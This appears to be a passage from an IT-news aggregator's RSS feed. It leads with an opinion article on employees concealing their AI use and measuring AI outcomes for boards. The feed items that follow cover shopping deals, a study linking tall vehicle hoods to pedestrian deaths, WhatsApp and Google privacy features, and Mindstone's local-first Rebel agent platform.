<p>A <a href="https://www.cio.com/article/4161509/ai-hype-to-ai-value-escaping-the-activity-trap.html">recent article on CIO.com</a> made a sharp observation that deserves to be taken further. The author’s core argument: Organizations are reporting AI <em>activity</em> to their boards — tools purchased, pilots launched, licenses deployed — while quietly avoiding the harder question of whether any of it has actually moved the business. Outcomes were never defined before the projects began, so success cannot honestly be measured after the fact. The board hears momentum. The CFO sees cost. And nobody can clearly answer what actually changed because of AI.</p>



<p>It is a well-observed problem. But it only tells half the story.</p>



<p>The other half is happening desk by desk, in organizations everywhere. While executives debate ROI frameworks, a parallel economy of AI productivity is running quietly in the background — driven by employees who have figured out how to use these tools and have calculated, quite rationally, that the safest thing to do is say nothing about it.</p>



<p>Understanding what is driving that silence is not a secondary concern. It is arguably the most important AI management challenge most organizations have not yet named.</p>



<h2 class="wp-block-heading">The job security calculation no one talks about</h2>



<p>The most important driver of AI silence is also the most understandable.</p>



<p>Consider an employee who has quietly been using an AI tool to draft client reports. A task that once took four hours now takes 45 minutes. The output is better: Tighter, better structured, more thoroughly referenced. Her manager is pleased. Her clients are happier. And she has said absolutely nothing to anyone about how she is doing it.</p>



<p>When employees find themselves in this situation, the reasoning for staying silent is almost always the same: If I tell them I can do it in 45 minutes, they’ll wonder what I’m doing with the rest of my time. Or they’ll give me more work. Or they’ll decide they don’t need as many of us.</p>



<p>This is not paranoia. The <a href="https://fortune.com/2026/03/25/workers-anxious-scared-insecure-ai-adp-global-survey/" rel="nofollow">ADP Research Today at Work 2026 report</a> — which surveyed more than 39,000 workers across 36 markets — found that only 22% of global workers strongly agreed their job was safe from elimination, even against a backdrop of historically low unemployment. The culprit identified by the report is AI anxiety, gripping workforces regardless of seniority or sector.</p>



<p>The scale of that anxiety has a structural basis. The World Economic Forum’s Future of Jobs Report 2025 (weforum.org) found that while 77% of employers plan to upskill staff to work alongside AI, 41% simultaneously plan to reduce their workforce as AI automates certain tasks. Employees are reading those numbers carefully, even when their employers are not.</p>



<p><a href="https://fortune.com/2025/05/29/employees-secretly-using-ai-hiding-bosses-secret-advantage-peers/" rel="nofollow">Research from Ivanti</a> puts the scale of the resulting silence in sharp relief: Nearly one-third of workers keep their AI use secret from their employer, with 30% specifically citing fear that their job will be cut if they disclose it, and a further 36% staying silent because they enjoy the competitive edge AI gives them over peers. The employee who is most proficient with AI — and therefore delivering the greatest productivity uplift — has the most to lose by saying so. So, they say nothing, the gain disappears invisibly into expanded workload, and it never surfaces in any report to the board.</p>



<p>For organizations trying to understand the true impact of AI on their operations, this is a foundational measurement problem. The biggest wins may be the ones most deliberately hidden.</p>



<h2 class="wp-block-heading">What’s actually happening beneath the surface</h2>



<p>The job security calculation is the most significant driver of AI silence, but it is not the only one. At least four other dynamics are keeping the real story from reaching leadership:</p>



<ol class="wp-block-list">
<li><strong>Competitive concealment</strong>, which the Ivanti data captures well. Not every employee who hides AI use is afraid of their employer — some are protecting an edge over colleagues. In performance-ranked environments — sales floors, bid teams, content departments — knowing how to use AI effectively is increasingly the difference between hitting targets and missing them. People who have that edge are not always eager to share it.</li>



<li>What the data describes as <strong>complacent and non-transparent use</strong>. A <a href="https://www.techtimes.com/articles/310167/20250429/workers-are-hiding-their-ai-usestudy-reveals-why-thats-big-problem-employers.htm" rel="nofollow">KPMG global study of more than 48,000 workers across 47 countries</a> found that 58% of employees are intentionally using AI at work, yet the study identified widespread non-transparency in <em>how</em> it is being used — with many not checking the accuracy of AI outputs or disclosing usage to managers. Nicole Gillespie, co-author of the report and a professor at the University of Melbourne, described the findings as a troubling level of “inappropriate, complex and non-transparent” AI use. Her prescription: Organizations must create transparent, shared learning environments where employees feel safe to experiment with AI without fear.</li>



<li>The third is something harder to name: A kind of <strong>impostor anxiety</strong>. The same Ivanti research found that 27% of employees who use AI at work experience impostor syndrome as a result — they feel that the quality of their AI-assisted work is better than what they could produce alone, and that this gap is somehow dishonest. These tend to be the most thoughtful and quality-conscious adopters in the organization, and they are actively obscuring the AI contribution to their work rather than risk being seen as relying on a crutch.</li>



<li><strong>The shadow infrastructure problem.</strong> A Laserfiche-commissioned survey published in Security Magazine (securitymagazine.com, August 2025) found that 49% of American employees hide their AI tool use from their employer, with only 36% reporting clear AI guidelines and an approved tools list in their workplace — and one in ten describing their organization’s AI environment as “the Wild West.”</li>
</ol>



<p>The data security implications run deeper still. The KPMG global study found that 46% of US employees have uploaded sensitive company data into public AI tools, often without knowing whether the content was confidential. That is not malicious intent — it is the predictable result of a governance vacuum — but it represents a risk exposure that leadership is largely unaware of.</p>



<h2 class="wp-block-heading">What leaders should actually do about this</h2>



<p>These four dynamics — fear of redundancy, competitive concealment, impostor anxiety and shadow infrastructure — combine to produce a fifth and arguably most damaging outcome: The “do more with less” spiral.</p>



<p>When employees quietly use AI to work faster, organizations rarely recognize the efficiency gain and redistribute the capacity thoughtfully. They simply load those employees with more work. The report that used to take four hours now takes 45 minutes, so more reports get assigned. The workload expands to absorb the freed capacity. The employee cannot now reveal the AI assistance without exposing how much time they have been quietly banking. And so, the spiral continues: More output, more concealment and no organizational learning captured.</p>



<p>The CIO.com article’s central argument — that organizations must define outcomes before embarking on AI projects — is correct. But the hidden dynamics described above suggest the measurement problem runs deeper than an absence of pre-defined success criteria. You cannot define meaningful outcomes if the people generating the most significant AI-driven results are structurally incentivized not to tell you about them.</p>



<p>Closing that gap requires organizations to make three interconnected shifts — each designed to tie AI’s business outcomes directly to the employees doing the work and to create the conditions in which those employees are willing to share what they know.</p>



<h3 class="wp-block-heading">Step 1: Make the commitment explicit — and tie it to outcomes from the start</h3>



<p>The first step is to make an unambiguous public commitment that AI productivity gains will not be used as the basis for headcount decisions. But a commitment alone is not enough — it only holds weight when it is paired with something concrete employees can see: Business outcomes defined before the project begins, not after.</p>



<p>Not “AI will make us more efficient” — which means nothing and measures nothing — but observable, agreed results: Client proposal turnaround reduced from five days to two; compliance review time cut by 40%; customer query resolution improved by a defined margin within a defined period. A CIO.com analysis of AI metrics found that the most effective organizations evaluate success across three dimensions: Return on employees (output per hour, backlog reduction), return on investment (labor cost per worker, conversion rates) and return on future (market share signals, new capability unlocked). None of those measures require employees to justify their existence. All of them create a shared definition of what winning looks like.</p>



<p>When business outcomes are defined upfront, the dynamic shifts. Employees can see that the measure of AI’s success is the outcome — not their hours logged or headcount consumed. Leadership has something meaningful to report to the board beyond adoption figures. And the question changes from “how many people are using AI?” to “what did AI change about this result?” — a question employees can answer honestly, because the answer no longer puts their role at risk.</p>



<h3 class="wp-block-heading">Step 2: Build incentives strong enough to override the fear</h3>



<p>This is the step most organizations skip entirely — and it is the most important one. A commitment not to cut jobs and a clear outcome framework create the conditions for honesty. But it does not actively reward it. For employees who have spent months quietly banking efficiency gains, the rational calculation remains: Why surface what I have if there is nothing in it for me?</p>



<p>The answer from the organizations doing this well is: Make sharing genuinely worth it. Not as a vague cultural aspiration, but as a structured, visible program with real rewards attached.</p>



<p>Wharton senior fellow Scott Snyder has proposed treating employee time as capital: If an individual identifies an AI method that saves four hours a week, they receive a portion of that saved time — perhaps 50 hours a year — to invest in further AI experimentation or professional development. This creates a direct incentive to disclose efficiency gains rather than conceal them, and it transforms the calculation from “what do I lose by sharing?” to “what do I gain?”</p>



<p>Real-world examples are already emerging. Law firm Shoosmiths created a £1 million bonus fund tied to Microsoft Copilot usage, with 1,300 employees eligible to receive approximately £770 each if the firm reached one million Copilot uses in its fiscal year. IBM awards “BluePoints” to winners of its annual AI innovation contest, redeemable for electronics, appliances or event tickets. Pharma firm Sanofi uses a points system to reward employees who experiment with AI and share what they learn. As Sanofi’s head of culture put it: “Recognition is the fuel of trust, and trust is what makes AI adoption possible and scalable.”</p>



<p>McKinsey’s 2025 workplace AI research confirms that 40% of employees say incentives and financial rewards would increase their daily use of AI — ranking it fourth among the factors that would most improve adoption, behind training, workflow integration and tool access. EY’s Work Reimagined survey goes further, finding that organizations that formally align rewards with AI behaviors and outcomes are significantly more likely to achieve transformational results, while those that deploy AI onto “fragile talent foundations — weak culture, insufficient learning, misaligned rewards” see productivity benefits lag by over 40%.</p>



<p>The principle behind all of these approaches is the same: Employees will share the benefits of AI when sharing the benefits of AI is rewarded — concretely, consistently and visibly. Until that condition is met, the most productive employees in the organization will remain the quietest.</p>



<h3 class="wp-block-heading">Step 3: Rebuild the board update around outcomes and employee voice</h3>



<p>Third, demand more from the board update. <a href="https://www.grantthornton.com/services/advisory-services/artificial-intelligence/2026-ai-impact-survey" rel="nofollow">Grant Thornton’s 2026 AI Impact Survey</a> found that organizations with fully integrated AI are nearly four times more likely to report revenue growth than those still piloting. The difference is not primarily technological — it is governance and accountability. The leading organizations can demonstrate how their AI makes decisions, who owns the outcomes and what happens when something goes wrong. That level of transparency can only exist when both leadership and employees are operating in the open.</p>



<p>A board update built around outcomes looks fundamentally different from one built around activity. It does not lead with “We have deployed AI across fourteen workflows.” It leads with “Here is what changed in the business because of AI, here is how we measured it and here is what our employees told us about working with it.”</p>



<p>That last element — what employees said — is not a soft add-on. A CIO.com piece on AI adoption published in 2025 put it plainly: “Trust is the invisible infrastructure of AI adoption. It’s built through transparency about intent, honest conversations about job impact, visible upskilling opportunities and letting employees see their peers genuinely benefit.” Employee willingness to use AI, and to share its benefits openly is the most reliable leading indicator of whether an AI program is building genuine organizational capability or simply burning through budget on tools that will be quietly worked around.</p>



<p>Organizations that track this systematically ask three questions on a regular basis: Is AI use growing organically, or only where it is mandated? Are employees who use AI more likely to flag further opportunities, or do they stay quiet? And when AI delivers a measurable outcome, does the team responsible feel able to claim it?</p>



<p>If the answers are “mostly mandated,” “they stay quiet” and “not really” — the organization has a trust and incentive problem that no amount of AI investment will solve. The technology is not the constraint. The environment is.</p>



<p>The board update on AI should not just report how many licenses are deployed and how many pilots are underway. It should grapple with harder questions: What are employees actually using AI for today, including tools we did not procure? What outcomes has that usage produced and how do we know? What would it take to make it safe — and genuinely worthwhile — for them to tell us?</p>



<p>Until those questions are asked — and until the answers can be given without fear and with something to gain — the most important AI story in the building will continue to be told in silence. The board will keep hearing about activity. The CFO will keep questioning ROI. And the employee who cracked the code months ago will keep her head down, produce excellent work and say nothing.</p>



<p>That is the measurement problem the CIO.com article did not quite reach. And it is the one that matters most.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[My dad needed a new big-screen TV — this Prime Day deal was my top recommendation and saved him $500]]></title>
<description><![CDATA[Shopping for a new big-screen TV? My recommendation is LG's top-rated 77-inch B5 OLED TV, on sale at Best Buy for its lowest price ever at $1,399.99.]]></description>
<link>https://tsecurity.de/de/3626005/it-nachrichten/my-dad-needed-a-new-big-screen-tv-this-prime-day-deal-was-my-top-recommendation-and-saved-him-500/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3626005/it-nachrichten/my-dad-needed-a-new-big-screen-tv-this-prime-day-deal-was-my-top-recommendation-and-saved-him-500/</guid>
<pubDate>Fri, 26 Jun 2026 00:47:37 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Shopping for a new big-screen TV? My recommendation is LG's top-rated 77-inch B5 OLED TV, on sale at Best Buy for its lowest price ever at $1,399.99.]]></content:encoded>
</item>
<item>
<title><![CDATA[I saved 50% on an iced coffee maker this Prime Day, and it just arrived — as a Starbucks fiend, I wholeheartedly recommend this cheap home solution]]></title>
<description><![CDATA[I bought this iced coffee maker on the first day of Prime Day week, and it's come in clutch during the heatwave.]]></description>
<link>https://tsecurity.de/de/3624764/it-nachrichten/i-saved-50-on-an-iced-coffee-maker-this-prime-day-and-it-just-arrived-as-a-starbucks-fiend-i-wholeheartedly-recommend-this-cheap-home-solution/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3624764/it-nachrichten/i-saved-50-on-an-iced-coffee-maker-this-prime-day-and-it-just-arrived-as-a-starbucks-fiend-i-wholeheartedly-recommend-this-cheap-home-solution/</guid>
<pubDate>Thu, 25 Jun 2026 15:46:40 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[I bought this iced coffee maker on the first day of Prime Day week, and it's come in clutch during the heatwave.]]></content:encoded>
</item>
<item>
<title><![CDATA[This super-compact power bank has saved my bacon more times than I'd care to admit — and it just hit an ultra-cheap price for Prime Day]]></title>
<description><![CDATA[I use the Anker Nano 10K 45W Power Bank almost every day, and it's just hit an unbelievably low price for Prime Day.]]></description>
<link>https://tsecurity.de/de/3624420/it-nachrichten/this-super-compact-power-bank-has-saved-my-bacon-more-times-than-id-care-to-admit-and-it-just-hit-an-ultra-cheap-price-for-prime-day/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3624420/it-nachrichten/this-super-compact-power-bank-has-saved-my-bacon-more-times-than-id-care-to-admit-and-it-just-hit-an-ultra-cheap-price-for-prime-day/</guid>
<pubDate>Thu, 25 Jun 2026 14:02:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[I use the Anker Nano 10K 45W Power Bank almost every day, and it's just hit an unbelievably low price for Prime Day.]]></content:encoded>
</item>
<item>
<title><![CDATA[New Study Shows That Tall Vehicle Hoods Cause Hundreds More Deaths Per Year]]></title>
<description><![CDATA[joshuark shares a report from Car and Driver: A new study conducted by the New York Times shows that the increase in vehicle hood height seen over the last two and a half decades, mainly due to the rise in popularity of large SUVs and trucks, has resulted in several thousand deaths that otherwise...]]></description>
<link>https://tsecurity.de/de/3624202/it-security-nachrichten/new-study-shows-that-tall-vehicle-hoods-cause-hundreds-more-deaths-per-year/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3624202/it-security-nachrichten/new-study-shows-that-tall-vehicle-hoods-cause-hundreds-more-deaths-per-year/</guid>
<pubDate>Thu, 25 Jun 2026 13:08:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[joshuark shares a report from Car and Driver: A new study conducted by the New York Times shows that the increase in vehicle hood height seen over the last two and a half decades, mainly due to the rise in popularity of large SUVs and trucks, has resulted in several thousand deaths that otherwise may not have happened. The study shows that while automakers and regulators have focused on occupant safety, they have turned a blind eye to pedestrian safety, which has fallen since around 2009. Researchers looked at four main datasets in their investigation: crash test data from the National Highway Traffic Safety Administration's (NHTSA) Crash Report Sampling System (CRSS) from 2016 to 2024; NHTSA's Fatality Analysis Reporting System (FARS); vehicle measurement data from Expert AutoStats; and vehicle registration data from S&amp;P Global from 2002 to 2024. The researchers concluded that the increased danger to pedestrians is caused by two main culprits.
 
First, large SUVs and trucks have taller hoods, raising the point of impact above most people's center of gravity and pushing them to the ground, typically hard asphalt, rather than up and onto the hood, which is designed to absorb impacts. Second, with larger A-pillars designed to protect occupants in rollover crashes, modern cars tend to have larger blind spots than cars sold at the turn of the century (presuming the 21st century). The shift toward vehicles with taller hoods led to roughly 3000 deaths between 2016 and 2024. This number is conservative because it does not include crashes that take place in parking lots, driveways, or private roads, which aren't part of the federal database.
 
The data also showed an estimated 2.8 percent increase in the odds of a pedestrian fatality for every one-inch increase in vehicle hood height. Between two different scenarios, one decreasing the hood height of every vehicle in the dataset by 3 inches, and the second using a random sampling of hood heights from 2002 across 10,000 simulated crashes, between 2624 (for scenario two) and 3077 (for scenario one) lives could have been saved from 2016 to 2024.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=New+Study+Shows+That+Tall+Vehicle+Hoods+Cause+Hundreds+More+Deaths+Per+Year%3A+https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F06%2F25%2F0531201%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F06%2F25%2F0531201%2Fnew-study-shows-that-tall-vehicle-hoods-cause-hundreds-more-deaths-per-year%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://tech.slashdot.org/story/26/06/25/0531201/new-study-shows-that-tall-vehicle-hoods-cause-hundreds-more-deaths-per-year?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[WhatsApp to Warn Users Before Starting Chats With New Phone Numbers]]></title>
<description><![CDATA[WhatsApp is rolling out a new security warning on both Android and iOS that appears before users even open a conversation with an unknown phone number. WABetaInfo noted that the feature displays the country where the number is registered, whether it’s saved as a contact, and whether any groups ar...]]></description>
<link>https://tsecurity.de/de/3624157/it-security-nachrichten/whatsapp-to-warn-users-before-starting-chats-with-new-phone-numbers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3624157/it-security-nachrichten/whatsapp-to-warn-users-before-starting-chats-with-new-phone-numbers/</guid>
<pubDate>Thu, 25 Jun 2026 12:52:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>WhatsApp is rolling out a new security warning on both Android and iOS that appears before users even open a conversation with an unknown phone number. WABetaInfo noted that the feature displays the country where the number is registered, whether it’s saved as a contact, and whether any groups are shared, prompting users to pause […]</p>
<p>The post <a href="https://cybersecuritynews.com/whatsapp-warning-screen/">WhatsApp to Warn Users Before Starting Chats With New Phone Numbers</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Your enterprise AI agents should automatically remember which model is right for which task. Mindstone built the capability with Rebel]]></title>
<description><![CDATA[AI agent orchestration platforms are popping up like weeds these days, but London-based AI transformation startup Mindstone's Rebel might be among the most promising I've come across. That's because the system, which officially launched this week, is a local-first, agentic AI operating system dis...]]></description>
<link>https://tsecurity.de/de/3623122/it-nachrichten/your-enterprise-ai-agents-should-automatically-remember-which-model-is-right-for-which-task-mindstone-built-the-capability-with-rebel/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3623122/it-nachrichten/your-enterprise-ai-agents-should-automatically-remember-which-model-is-right-for-which-task-mindstone-built-the-capability-with-rebel/</guid>
<pubDate>Thu, 25 Jun 2026 02:16:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>AI agent orchestration platforms are popping up like weeds these days, but London-based AI transformation startup Mindstone's <a href="https://www.producthunt.com/products/mindstone-rebel">Rebel</a> might be among the most promising I've come across. </p><p>That's because the system, which officially launched this week, is a local-first, agentic AI operating system distributed under a "<a href="https://fair.io/about/">Fair Source</a>" license, allowing teams of under 100 users to freely adopt and customize it to suit their needs, while those organizations with more users will require paying for an enterprise license. </p><p>The marquee features are its simplicity and extensive customizability to fit any given team, no matter how unique or specific the workflows, all based around the common, open source standard file format markdown, and, as a result, an organizational memory layer that ensures agents reliably use the enterprise's preferred AI models for each given task or even subtasks — dynamically switching between local and cloud ones in a predictable, visible way to save costs and maintain data privacy and security as needed. </p><p>"Shared memory is the most empowering thing you could possibly do with a knowledge-worker AI," said Greg Detre, chief technology officer (CTO) of Mindstone, in a recent video call interview with VentureBeat. "You get this feeling of being a super-organism as a company that just gets smarter and smarter."</p><p>Rebel is available now for macOS on Intel and Apple Silicon machines, as well as Windows, with Linux support in development.</p><p>Mindstone has raised $5 million from private investors including Pearson Ventures, Moonfire Ventures and Zanichelli Venture. </p><h2><b>A distinctive, local-first architecture based on markdown files</b></h2><p>What makes Rebel distinctive is its local-first architecture. </p><p>Instead of the approach found in developer-heavy agent frameworks such as as LangGraph, CrewAI and AutoGPT, which require teams to wire together databases, cloud infrastructure and state-management logic, Rebel's core agent memory and instructions live across local markdown (<code>.md</code>) text files — <a href="https://www.reddit.com/r/AI_Agents/comments/1t6ed3l/hot_take_markdown_is_the_file_format_of_the_ai_era/">arguably</a> the simplest, easiest, and most popular way to steer AI agents, one that has been widely adopted by AI developers and power users around the globe. </p><p>Mindstone says Rebel stores its state, prompts, task instructions and memory hierarchy in these files, allowing users and companies to easily inspect, move or modify them as needed. A primary configuration file, <code>agents.md,</code> acts as the agent’s core instruction layer and runtime boundary.</p><p>That architectural choice is partly about cost. Mindstone argues that common office formats such as Word documents and PDFs often carry formatting and metadata overhead that consumes model token context and raises API costs. Markdown keeps the information closer to raw text, allowing more of the model’s context window to be spent on the actual task rather than document structure.</p><p>The company also positions the approach as a hedge against vendor lock-in. If a company’s agent instructions, automations and memory are stored locally as text files, they are not trapped inside one SaaS provider’s interface or database. That matters more as enterprises begin giving AI systems broader access to email, calendars, documents and internal workflows.</p><p>Rebel also lets users create repeatable AI workflows. “Skills” are saved multi-step procedures an agent can reuse.  “Operators” adjust how the agent behaves for a given task, such as reviewing a pitch deck from an investor’s perspective or evaluating work through a security lens. “Automations” can run scheduled background tasks, such as scanning messages or files, finding relevant updates, drafting responses, or preparing work before an employee opens the app. </p><h2><b>Automatically selecting the best, enterprise-preferred AI model for every task (and subtask)</b></h2><p>Another important feature is multi-model orchestration. Rebel can <i>break a task into parts and route different steps </i>to<i> different models, </i>including splitting between local and cloud-based ones depending on the sensitivity of the information or as guided by enterprise policies. </p><p>A more powerful model can handle planning or complex reasoning; a cheaper model can handle routine work; a local model can handle sensitive steps or approval checks. This matters for enterprises that want flexibility or are seeking cost controls: not every task need be sent to the same expensive cloud model, and some enterprise workflows prohibit sensitive corporate data leaving local infrastructure.</p><p>“I want to be able to say, ‘Help me with this,’ and it knows what’s personal, what’s sensitive, and what can be shared with the whole company," Detre explained. </p><p>That model-agnostic setup gives companies more control over cost and security. Data-heavy work can run on lower-cost models such as Llama or DeepSeek. Higher-level reasoning can be reserved for more expensive models. Sensitive work can be routed through a local model running on the user’s machine, keeping that information from leaving the device.</p><p>This approach also gives enterprise teams a way to mix cloud and local inference without treating the choice as all-or-nothing. </p><p>By shifting away from centralized, monolithic cloud interfaces toward a local file-driven architecture, Mindstone is introducing a model for how enterprise technical decision-makers orchestrate autonomous workflows without forfeiting data sovereignty or predictability</p><h2><b>How it works in practice</b></h2><p>Mindstone CTO Greg Detre designed Rebel’s memory system to avoid a common problem in enterprise AI: dumping large amounts of company information into a database and hoping search will retrieve the right context later.</p><p>Instead, Rebel uses a tiered memory structure. When an interaction happens, the system estimates how likely that information is to be useful again. </p><p>Information with a high expected value is written into a local readme.md file tied to a specific project space. Information with a moderate expected value becomes a reference link back to deeper historical records. </p><p>Lower-priority material is stored in an indexed memory directory, where it remains available but dormant until a relevant task calls it back.</p><h2><b>An ROI dashboard for enterprise buyers</b></h2><p>For larger organizations, Mindstone Pro adds an Impact Dashboard designed to show where Rebel is saving time and money across business units.</p><p>Mindstone says the dashboard uses a separate, closed LLM to evaluate telemetry and calculate business impact. The company says the system is calibrated conservatively, using the lower end of estimated performance gains to avoid inflated productivity claims.</p><p>That feature speaks to a practical problem for enterprise AI buyers: proving value without over-surveilling employees. Mindstone says the dashboard is isolated from individual workspaces, allowing IT and business leaders to evaluate adoption and return on investment without reading employees’ private agent activity.</p><h2><b>Fair Source licensing aims to reduce platform risk</b></h2><p>Mindstone is releasing Rebel under a Fair Source license, a model meant to sit between fully closed SaaS and permissive open source.</p><p>Under the license, Rebel’s code is viewable, auditable, modifiable and deployable. Individuals and organizations with up to 100 concurrent users can run it for free. Once an organization exceeds that threshold, it needs a commercial Mindstone Pro license.</p><p>The license also includes a two-year sunset clause. Twenty-four months after a given version is released, that version automatically converts to the MIT open-source license.</p><p>For enterprise buyers, the practical pitch is that Rebel reduces the risk of being trapped. If every automation, memory file and agent instruction is stored locally in markdown, a company can move its data and workflows elsewhere if needed. The product may be commercial, but the underlying work is designed to remain inspectable and portable.</p><h2><b>Security questions focus on local approvals and shared memory</b></h2><p>Rebel’s <a href="https://www.producthunt.com/products/mindstone-rebel">debut on the open access tech product sharing platform Product Hunt</a> this week prompted technical questions about how a local-first agent should handle permissions, safety checks and shared memory.</p><p>One developer, Nikita Pokryschko, asked whether approval checks for sensitive actions could run entirely on a local model, or whether the gating logic still required a cloud call.</p><p>Detre responded by explaining Rebel’s separation between planning, execution and background safety logic. Wöhle added that companies can configure Rebel to rely entirely on a local model for gating decisions.</p><p>That distinction matters for corporate security teams. Autonomous agents often need broad permissions to read files, draft emails or interact with internal systems. If the final approval layer depends on an external cloud model, some companies may see that as a compliance risk. Mindstone is arguing that Rebel can keep those approval boundaries local.</p><p>A second discussion focused on how Rebel decides what memory can be shared. Product developer Clement Morel asked whether shareability is determined by content, user settings or learned behavior, and what happens if the system gets it wrong.</p><p>Detre said Rebel uses the user’s local “Chief-of-staff README” and defined spaces to separate private, team and company-wide information. When the agent encounters ambiguous context, the system pauses and asks the user for approval before proceeding.</p><p>That emphasis on visibility is part of Mindstone’s broader argument against opaque agent systems. As CEO Joshua Wöhle put it <a href="https://www.linkedin.com/posts/joshuawohle_practicalai-futureofwork-aiagents-share-7475458987870769153-VtgH/?utm_source=share&amp;utm_medium=member_desktop&amp;rcm=ACoAAAKTlTEBUrAfv-7hEwobIAwDLQPbtm2dljo">in a post on his LinkedIn account</a>: “If an agent is going to sit inside your workspace, remember your context, and ask permission before changing the world, you should be able to see how it works. Not because everyone will read the code, but because someone can.”</p><h2><b>Mindstone points to customer rollout as early proof</b></h2><p>Mindstone says Rebel has already been deployed across the 250-person workforce of customer Epignosis, covering sales, engineering, product, finance and customer success teams.</p><p>"The entire organization is operating on Rebel today," Wöhle told VentureBeat.</p><p>Over a 12-week deployment, Mindstone says Epignosis recaptured the equivalent capacity of eight full-time roles. The company says adoption spread organically after employees saw colleagues automate time-consuming work, a pattern employees reportedly called the “potatoes effect.”</p><p>The Epignosis case is central to Mindstone’s argument that enterprise AI should not be treated as a set of isolated personal tools. Rebel’s shared-memory design is meant to let workflows move across teams and improve as more employees use them.</p><p>“The border between learning and doing is fading out - and that changes everything about how you scale,” Epignosis CEO Dimitris Tsingos said in a statement provided to VentureBeat by Mindstone.</p><h2><b>Background on Mindstone</b></h2><p>Mindstone Learning Limited, headquartered in London,<a href="https://startupintros.com/orgs/mindstone"> launched in 2020</a> under the direction of CEO Joshua Wöhle, previously a co-founder of the digital child safety firm SuperAwesome. Originally positioned in the consumer education technology market, the company built a digital curation tool likened to a "Spotify for learning" that utilized compound learning methodologies. </p><p>However, following the widespread commercialization of generative artificial intelligence platforms between 2022 and 2024,<a href="https://www.linkedin.com/posts/joshuawohle_futureofwork-practicalai-augmentationnotautomation-activity-7304173952589836288-WWHe/"> Mindstone moved </a>into business-to-business enterprise enablement. Leadership identified a critical "last-mile" barrier: while AI tools promised substantial productivity gains, traditional corporate training failed to equip the workforce to practically integrate them into daily operations.</p><p>Today, Mindstone functions as a comprehensive enterprise software and training ecosystem designed to maximize corporate return on investment for existing AI licenses. The product architecture systematically addresses different organizational tiers through highly contextualized, "live-fire" software applications rather than abstract slide presentations. </p><p>Financially, Mindstone utilizes a hybrid capitalization strategy that interweaves institutional venture capital from entities like Moonfire Ventures and Pearson Ventures with community-based equity crowdfunding on platforms such as Seedrs and Crowdcube. </p><p>Mindstone has successfully penetrated the enterprise market, securing commercial contracts with blue-chip corporations including The Home Depot, Hyatt Hotels Corporation, Pearson, and Ernst &amp; Young. </p><p>Ultimately, Mindstone positions itself as the crucial antidote to corporate inertia, ensuring organizations establish the internal competency required to execute successful AI transformations.</p><h2><b>Mindstone’s bet: enterprise AI needs shared memory, not more seats</b></h2><p>Rebel arrives as companies are trying to move from AI experimentation to AI operations. The first wave of enterprise adoption centered on access: giving employees chatbots, copilots and model subscriptions. Mindstone is betting the next wave will center on coordination.</p><p>That means shared memory, reusable workflows, local control, flexible model routing and measurable business impact. It also means giving enterprises a way to inspect the systems they are being asked to trust.</p><p>The company’s challenge now is execution. Local-first software can be harder to manage than cloud SaaS. Shared memory raises governance questions. Multi-model routing adds complexity. And enterprises will still need proof that agentic workflows can deliver reliable productivity gains without creating security or compliance headaches.</p><p>But Mindstone is making a clear argument: buying AI seats is not the same as building AI infrastructure. Rebel is its attempt to turn scattered employee experiments into an operating layer for work.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google releases new privacy controls for activity history, personalization]]></title>
<description><![CDATA[Google is rolling out new privacy controls for Search services and Google Play, giving you more control over saved history and personalized recommendations. [...]]]></description>
<link>https://tsecurity.de/de/3623076/it-security-nachrichten/google-releases-new-privacy-controls-for-activity-history-personalization/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3623076/it-security-nachrichten/google-releases-new-privacy-controls-for-activity-history-personalization/</guid>
<pubDate>Thu, 25 Jun 2026 01:53:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Google is rolling out new privacy controls for Search services and Google Play, giving you more control over saved history and personalized recommendations. [...]]]></content:encoded>
</item>
<item>
<title><![CDATA[De-Spotify Yourself - Warum Du von $Streamingdienst weg willst und wie/wohin (gpn24)]]></title>
<description><![CDATA[In diesem Talk behandeln wir Gründe von verschiedenen Musik- und Podcast-Streamingdiensten wegzumigrieren und schauen uns mögliche automatische Unterstützung und Alternativen (am Beispiel Spotify) an.

Im Rahmen meiner Großoffensive mich unabhängig(er) von Big Tech zu machen, musste zuletzt Spoti...]]></description>
<link>https://tsecurity.de/de/3622502/it-security-video/de-spotify-yourself-warum-du-von-streamingdienst-weg-willst-und-wiewohin-gpn24/</link>
